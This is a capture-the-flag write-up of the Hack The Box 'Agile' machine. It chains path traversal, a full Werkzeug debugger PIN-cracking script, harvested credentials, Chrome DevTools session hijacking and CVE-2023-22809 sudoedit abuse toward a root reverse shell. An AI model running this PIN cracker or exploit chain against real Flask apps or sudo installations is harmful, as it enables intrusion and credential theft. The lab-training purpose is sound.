> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/ippsec-unofficial-cpts-prep/htb-agile.md). # HTB - Agile #### NMAP ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) ``` ## HTTP - 80
Domain Name: `superpass.htb` Navigating to `http://superpass.htb` reveals a password manager web application called **SuperPass**. The site has a login and register page. Default credentials like `admin:admin` do not work, so register a new account.
After logging in the app is a vault where passwords can be stored for any site by specifying a username and site name. Once passwords are added, the app allows exporting them — this sends a GET request with a `fn` parameter:
The `fn` parameter is used directly to fetch a file from the `/tmp` directory on the server.. This is a classic indicator of a potential Path Traversal vulnerability. ### Path Traversal Testing the `fn` parameter with a directory confirms a path traversal vulnerability:
This error also exposes that the app is running Flask with the **Werkzeug debugger enabled in production**, and critically leaks the debugger **SECRET** in the HTML response: ```bash var CONSOLE_MODE = false, EVALEX = true, EVALEX_TRUSTED = false, SECRET = "cgNUCndWm6k77LgnpoDO"; ```
`EVALEX = true` means the **interactive Python console is enabled** in production. With the `SECRET`, you can forge a trusted debugger session and get **RCE**. but the console is locked and we need a pin to access the console. ### Cracking Werkzeug Pin {% embed url="" %} {% embed url="" %} he above repo explains clearly on how to exploit the instance to crack the pin. The Werkzeug PIN is derived from: * Username running the app * Flask app module name * MAC address (`/sys/class/net/*/address`) * Machine ID (`/etc/machine-id` or `/proc/sys/kernel/random/boot_id`) * HASHING ALGORITHM BEING USED.
uid 33 : www-data(username) when mapped with /etc/passwd
Machine Id - `ed5b159560f54721827644bc9b220d00`
Mac Address : `a2:de:ad:69:6c:5a` convert the mac into integer form for exploiting
All bits are fed into SHA1 one by one (empty bits skipped), then cookiesalt is appended once at the end.
`ExecStart: gunicorn wsgi:app`\ `WorkingDirectory: /app/app/`
enable\_debug() is called. `DebuggedApplication` receives `app.wsgi_app` which is a **bound method**, not the Flask class instance.
wsgi\_app is the app Now, i have used claude to create me a custome python script that can help me crack the pin. ```python import hashlib from itertools import chain # ========================================================= # Werkzeug Debug PIN Cracker - SuperPass HTB # ========================================================= # Files read via LFI to get these values: # # username <- /proc/self/status (Uid) + /etc/passwd # app_path <- /app/app/superpass/app.py (enable_debug call) # + werkzeug/debug/__init__.py (algorithm) # mac_address <- /sys/class/net/eth0/address # machine_id <- /etc/machine-id + /proc/self/cgroup # ========================================================= # ---- PUBLIC BITS ---------------------------------------- # /proc/self/status -> Uid: 33 -> /etc/passwd -> www-data username = "www-data" # app.wsgi_app is a bound method -> __module__ = "flask.app" modname = "flask.app" # app.wsgi_app is a bound method -> __name__ = "wsgi_app" (NOT "Flask"!) # This is the key insight: DebuggedApplication(app.wsgi_app, True) # receives a bound method, not the Flask class instance appname = "wsgi_app" # sys.modules["flask.app"].__file__ app_path = "/app/venv/lib/python3.10/site-packages/flask/app.py" # ---- PRIVATE BITS --------------------------------------- # /sys/class/net/eth0/address -> a2:de:ad:69:6c:5a # converted to integer via: int("a2dead696c5a", 16) mac_address = int("a2:de:ad:69:6c:5a".replace(":", ""), 16) # 179077275806810 # /etc/machine-id -> ed5b159560f54721827644bc9b220d00 # /proc/self/cgroup -> 0::/system.slice/superpass.service # rpartition("/")[2] = "superpass.service" # machine_id = machine-id bytes + cgroup suffix (no separator) machine_id = b"ed5b159560f54721827644bc9b220d00" + b"superpass.service" # ---- HASH (exact algorithm from werkzeug/debug/__init__.py) ------------- probably_public_bits = [username, modname, appname, app_path] private_bits = [str(mac_address), machine_id] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue # skip None / empty values if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") # added ONCE after all bits cookie_name = f"__wzd{h.hexdigest()[:20]}" # ---- PIN GENERATION ------------------------------------- h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] for group_size in 5, 4, 3: if len(num) % group_size == 0: pin = "-".join( num[x:x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break print(f"PIN: {pin}") print(f"Cookie name: {cookie_name}") ```
RCE is confirmed...!!!! ## Shell as www-data
Next, get an interactive shell.
```bash (venv) www-data@agile:/app/app/superpass$ cat /app/config_prod.json cat /app/config_prod.json {"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}(venv) www-data@agile:/app/app/superpass$ ``` The config\_prod.json file leaked an username and password of mysql server. * **Database Type:** MySQL * **Driver:** `pymysql` * **Host:** `localhost` * **Database Name:** `superpass` * **Username:** `superpassuser` * **Password:** `dSA6l7q*yIVs$39Ml6ywvgK` ### Accessing Mysql Server
## Shell as Corum SSH is running on the machine so i can use the creds of corum to get a shell.
This script, `test_and_update.sh`, is an automated synchronization mechanism designed to deploy updates from the `app-testing` directory to the `app` (production) directory based on successful automated test results. ```bash corum@agile:/app$ ls app app-testing config_prod.json config_test.json test_and_update.sh venv corum@agile:/app$ cat test_and_update.sh #!/bin/bash # update prod with latest from testing constantly assuming tests are passing echo "Starting test_and_update" date # if already running, exit ps auxww | grep -v "grep" | grep -q "pytest" && exit echo "Not already running. Starting..." # start in dev folder cd /app/app-testing # system-wide source doesn't seem to happen in cron jobs source /app/venv/bin/activate # run tests, exit if failure pytest -x 2>&1 >/dev/null || exit # tests good, update prod (flask debug mode will load it instantly) cp -r superpass /app/app/ echo "Complete!" corum@agile:/app$ // Some code ```
The script is executed by `runner` and sources `/app/venv/bin/activate`. It runs pytest using Chrome/Selenium — check the functional test directory:
The test script reads credentials from `creds.txt` and logs into the test app running on **port 5555**. Chrome DevTools is exposed on **port 41829**.
pytest is using chrome to test the application interactively. ```bash with open('/app/app-testing/tests/functional/creds.txt', 'r') as f: username, password = f.read().strip().split(':') ``` The browser logs into the test application using credentials from creds.txt.
That means the automated Chrome instance used by the test suite exposes the Chrome DevTools Protocol on localhost. With the test application running on port 5555 and the debugging port is 41829 and also ssh access i can use ssh port forwarding to access the test site from my attack machine locally to inspect it. ### SSH Port Forwarding Since the application can be debugged on port 41829, i can access locally by port forwarding and inspect the application by using chromium. In your local Chrome browser navigate to `chrome://inspect`, click **Configure**, and add `127.0.0.1:41829`. Click **Inspect** to open DevTools on the already-authenticated test browser session. In the DevTools **Application** tab, inspect cookies and session tokens. The browser is logged in as `edwards` in the test app — navigate to the vault on port 5555 using those cookies to retrieve edwards' stored password. Below is the detailed process.
go to chrome://inspect and click configure and add 127.0.0.1:41829
click inspect.
The application has token and session cookie of a user set. accessing the vault returns localhost error * **5555** appears to be the test web application. * **41829** is the Chrome DevTools endpoint used by Selenium. DevTools lets you interact with the **already authenticated browser session**. Since the application is running on port 5555 i can ssh forward it and connect to vault using the token and cookie.
found password for edwards agile account : `d07867c6267dcb5df0af` ## Shell as Edwards Using the creds found on the vault i can get access through ssh.
```bash edwards@agile:~$ sudo -l Matching Defaults entries for edwards on agile: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User edwards may run the following commands on agile: (dev_admin : dev_admin) sudoedit /app/config_test.json (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt ``` ```bash edwards@agile:~$ sudo --version Sudo version 1.9.9 Sudoers policy plugin version 1.9.9 Sudoers file grammar version 48 Sudoers I/O plugin version 1.9.9 Sudoers audit plugin version 1.9.9 ``` ```bash edwards@agile:~$ sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt ```
```bash edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json ```
We can access the files as user dev\_admin. By a quick google search found that the sudo version 1.9.9 is vulnerable to a privilege escalation vulnerability by using the sudoedit. ## Shell as Root ### Exploiting sudo 1.9.9 * CVE-2023-22809 is a privilege escalation vulnerability in the `sudoedit` feature. It occurs when `sudoedit` mishandles arguments passed via environment variables (`EDITOR`, `VISUAL`, `SUDO_EDITOR`). By crafting an editor command that includes the `-` separator (e.g., `EDITOR='vim -- /path/to/secret/file'`), an attacker could trick `sudoedit` into opening files they were not authorized to edit. This vulnerability affects Sudo versions **1.8.0 through 1.9.12p1**.
dev\_admin is part of the group /app/venv/bin/activate `test_and_update.sh` is executed by root and sources the venv activate script.
`dev_admin` owns `/app/venv` (confirmed with `ls -l /app`): Once we inject our payload into `activate` via the sudoedit exploit, when root runs `test_and_update.sh` it sources `activate` and executes our reverse shell. ```bash edwards@agile:~$ EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json sudoedit: --: Permission denied 2 files to edit sudoedit: /app/config_test.json unchanged ```
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/ippsec-unofficial-cpts-prep/htb-agile.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.